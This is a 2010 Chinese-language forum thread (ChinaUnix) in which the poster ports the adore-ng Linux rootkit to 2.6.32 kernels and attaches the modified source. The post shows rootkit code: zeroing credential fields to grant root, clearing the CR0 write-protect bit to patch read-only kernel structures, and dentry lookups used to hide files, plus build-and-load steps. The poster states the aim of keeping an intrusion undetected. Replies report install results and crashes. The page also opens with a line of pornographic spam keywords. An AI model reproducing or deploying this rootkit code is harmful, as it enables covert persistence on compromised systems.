亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費(fèi)注冊(cè) 查看新帖 |

Chinaunix

  平臺(tái) 論壇 博客 文庫(kù)
最近訪問(wèn)板塊 發(fā)新帖
查看: 8827 | 回復(fù): 9
打印 上一主題 下一主題

【原創(chuàng)】rootkit工具adore-ng修改,適合高版本的內(nèi)核(如2.6.32) [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報(bào)告]
發(fā)表于 2010-05-16 15:04 |只看該作者 |倒序?yàn)g覽
本帖最后由 lgqss 于 2010-05-16 15:06 編輯

最近對(duì)以前的一個(gè)黑客工具adore-ng0.56版本進(jìn)行了修改,使其可以在ubuntu10.04(2.6.32)運(yùn)行,也可以在2.6.30上運(yùn)行,為了修改這個(gè),死機(jī)n次。。。。

Adore-ng-0.56源碼分析見(jiàn)

http://linux.chinaunix.net/bbs/thread-1138561-1-1.html(感謝他)

由于2.6.32版本內(nèi)核與以前有一些不同,所以不能編譯

主要不同之處在于,

1.struct task_struct中關(guān)于權(quán)限的字段移到struct cred中去了
  1. edit_cred->uid = 0;

  2.               edit_cred->suid = 0;

  3.               edit_cred->euid = 0;

  4.            edit_cred->gid = 0;

  5.               edit_cred->egid = 0;

  6.            edit_cred->fsuid = 0;

  7.               edit_cred->fsgid = 0;


  8.               cap_set_full(edit_cred->cap_effective);

  9.               cap_set_full(edit_cred->cap_inheritable);

  10.               cap_set_full(edit_cred->cap_permitted);
復(fù)制代碼
2.關(guān)于操作的結(jié)構(gòu)都是const類型,直接修改引發(fā)oops錯(cuò)誤

所以先要去掉cr0寄存器的寫(xiě)保護(hù),如下代碼
  1. unsigned orig_cr0;   

  2. /*清除cr0寄存器的寫(xiě)保護(hù)位,第16位為WP寫(xiě)保護(hù)位*/

  3. unsigned clear_return_cr0(void)

  4. {

  5.        unsigned cr0 = 0;

  6.        unsigned ret;

  7.        asm volatile ("movl %%cr0, %%eax"

  8.        :"=a"(cr0)

  9.        );

  10.        ret = cr0;

  11.        cr0 &= 0xfffeffff;

  12.        asm volatile ("movl %%eax, %%cr0"

  13.        :

  14.        :"a"(cr0)

  15.        );

  16.        return ret;

  17. }

  18. /*用orig_cr0恢復(fù)cr0寄存器*/

  19. void setback_cr0(unsigned val)

  20. {

  21.        asm volatile ("movl %%eax, %%cr0"

  22.        :

  23.        :"a"(val)

  24.        );

  25. }
復(fù)制代碼
3.在文件隱藏中,iget函數(shù)已經(jīng)沒(méi)有了,相應(yīng)的super_operations里read_inode也沒(méi)有了,所以采用了新方法獲取inode

一開(kāi)始的想法是用iget_locked代替,但出現(xiàn)的問(wèn)題是:

(1)    如果文件從來(lái)沒(méi)訪問(wèn)過(guò),那么文件inode不存在,這樣iget_locked會(huì)新建一個(gè)空的inode,但不會(huì)填充它,而且后面因?yàn)橛昧藆nlock_new_inode,使得以后獲取到該文件的inode都是空的,所以那些沒(méi)有訪問(wèn)過(guò)的文件以后都不能打開(kāi)了,ls –l得出的長(zhǎng)度什么的全是0
  1. if (inode->i_state & I_NEW) {

  2.         unlock_new_inode(inode);

  3.         //printk("%lu\n", (unsigned long)inode);

  4.         inode->i_state |= I_NEW;//沒(méi)有這句話,會(huì)造成文件系統(tǒng)內(nèi)所有第一次ls的新文件全部不可用

  5. }
復(fù)制代碼
后來(lái)我想到的方法是加上一句inode->i_state |= I_NEW;這樣就重新標(biāo)記為新節(jié)點(diǎn),有了這個(gè)標(biāo)記的后,文件體統(tǒng)相應(yīng)的iget函數(shù)(如ext4_iget)會(huì)填充它

(2)    上面的內(nèi)核inode破壞問(wèn)題解決了,還有個(gè)問(wèn)題是,如果inode沒(méi)緩存(即該文件從沒(méi)被打開(kāi)過(guò)),那么iget_locked會(huì)獲取到空的inode, 所以if (uid == ELITE_UID && gid == ELITE_GID)這句話在第一次運(yùn)行時(shí)永遠(yuǎn)不成立,所以第一次ls有需要隱藏文件的目錄時(shí),我們要隱藏的文件還能看的見(jiàn),第二次ls才會(huì)消失,因?yàn)榈诙挝覀兊玫降牟攀钦嬲膇node。(這里說(shuō)明一下,ls命令要獲取文件信息,就需要打開(kāi)當(dāng)前目錄下所有文件獲取填充好的inode,內(nèi)核為每個(gè)文件調(diào)用一次ext4_iget)

這個(gè)應(yīng)該是很嚴(yán)重的問(wèn)題,我們本來(lái)是要隱藏文件的,但第一次能ls能看見(jiàn),再次ls時(shí)消失掉,傻瓜也知道被入侵了。。。



后來(lái)我找到了第二種解決辦法,在ext4中有個(gè)函數(shù)是ext4_lookup,用來(lái)填充當(dāng)前目錄dentry,提供的參數(shù)是父目錄的inode,文件未連接的dentry(negative dentry),這個(gè)函數(shù)用來(lái)把dentry和inode連接起來(lái)(調(diào)用了ext4_iget來(lái)填充inode)。

  1.        struct inode *inode = NULL;

  2.        struct dentry *dentry = NULL;

  3.        struct qstr this;

  4.        struct dentry *dir = parent_dir[current->pid % 1024];


  5.        this.name = name;

  6.        this.len = nlen;

  7.        this.hash = full_name_hash(this.name, this.len);

  8.        dentry = d_lookup(dir, &this);//首先看系統(tǒng)中有沒(méi)有緩存

  9.        if (!dentry) {

  10.               dentry = d_alloc(dir, &this);

  11.               if (!dentry) {

  12.                      //printk("d_alloc失敗%d\n", (int)dentry);

  13.                      return 0;

  14.               }

  15.               if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0) {

  16.                      printk("lookup錯(cuò)誤\n");

  17.                      return 0;

  18.               }

  19.        }

  20.        if(!(inode = dentry->d_inode)) {

  21.        //printk("inode獲取失敗\n");

  22.        return 0;

  23.        }
復(fù)制代碼
當(dāng)前修改還不是很穩(wěn)定,好像會(huì)出現(xiàn)內(nèi)核函數(shù)writeback_single_inode錯(cuò)誤,導(dǎo)致一些問(wèn)題,但把

       //iput(inode);

       //dput(dentry);,

注釋掉后好像又沒(méi)問(wèn)題了。

運(yùn)行方法

make

進(jìn)入root后

Insmod adore-ng.ko

然后可以用ava運(yùn)行命令了,詳細(xì)操作方法見(jiàn)我上面貼出的網(wǎng)址,也可以百度google搜索
adore-ng.rar (49.53 KB, 下載次數(shù): 385)

評(píng)分

參與人數(shù) 1可用積分 +30 收起 理由
Godbach + 30 多謝分享

查看全部評(píng)分

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2010-05-17 03:51 |只看該作者
good. thx for sharing.

論壇徽章:
36
IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-10 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-16 06:20:0015-16賽季CBA聯(lián)賽之廣東
日期:2016-04-16 19:59:32IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-18 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-19 06:20:00每日論壇發(fā)貼之星
日期:2016-04-19 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-04-25 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-06 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-08 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-13 06:20:00IT運(yùn)維版塊每日發(fā)帖之星
日期:2016-05-28 06:20:00每日論壇發(fā)貼之星
日期:2016-05-28 06:20:00
3 [報(bào)告]
發(fā)表于 2010-05-17 10:28 |只看該作者
多謝LZ分享。有時(shí)間的話在2.6.32的內(nèi)核上跑一下。

論壇徽章:
0
4 [報(bào)告]
發(fā)表于 2010-05-17 15:08 |只看該作者
多謝LZ分享。有時(shí)間的話在2.6.32的內(nèi)核上跑一下。
Godbach 發(fā)表于 2010-05-17 10:28



    多謝斑竹大大加分,

論壇徽章:
0
5 [報(bào)告]
發(fā)表于 2010-05-17 15:13 |只看該作者
good. thx for sharing.
accessory 發(fā)表于 2010-05-17 03:51



    多謝accessory 大大深夜踩樓,

論壇徽章:
0
6 [報(bào)告]
發(fā)表于 2010-05-20 23:20 |只看該作者
還好,還好

論壇徽章:
0
7 [報(bào)告]
發(fā)表于 2012-02-21 16:27 |只看該作者
"第二種解決辦法,在ext4中有個(gè)函數(shù)是ext4_lookup" 。當(dāng)文件系統(tǒng)更是yaffs2時(shí),對(duì)應(yīng)的是yaffs_lookup函數(shù)。當(dāng)程序執(zhí)行到if(dir->d_inode->i_op->lookup(dir->d_inode, dentry, NULL) != 0)
{            
       printk("lookup錯(cuò)誤\n");                  
       return 0;
  }

ls命令卡死,用dmesg查看并沒(méi)有打印出lookup錯(cuò)誤,也沒(méi)有繼續(xù)向后執(zhí)行。
何解?
難道這是yaffs2文件系統(tǒng)的bug?

論壇徽章:
0
8 [報(bào)告]
發(fā)表于 2012-05-13 22:02 |只看該作者
成功,謝謝樓主

論壇徽章:
0
9 [報(bào)告]
發(fā)表于 2012-05-14 16:59 |只看該作者
可以安裝成功,但是關(guān)機(jī)的時(shí)候死機(jī)

論壇徽章:
0
10 [報(bào)告]
發(fā)表于 2012-05-17 22:54 |只看該作者
很想知道有沒(méi)有64位版本的?
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過(guò)ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP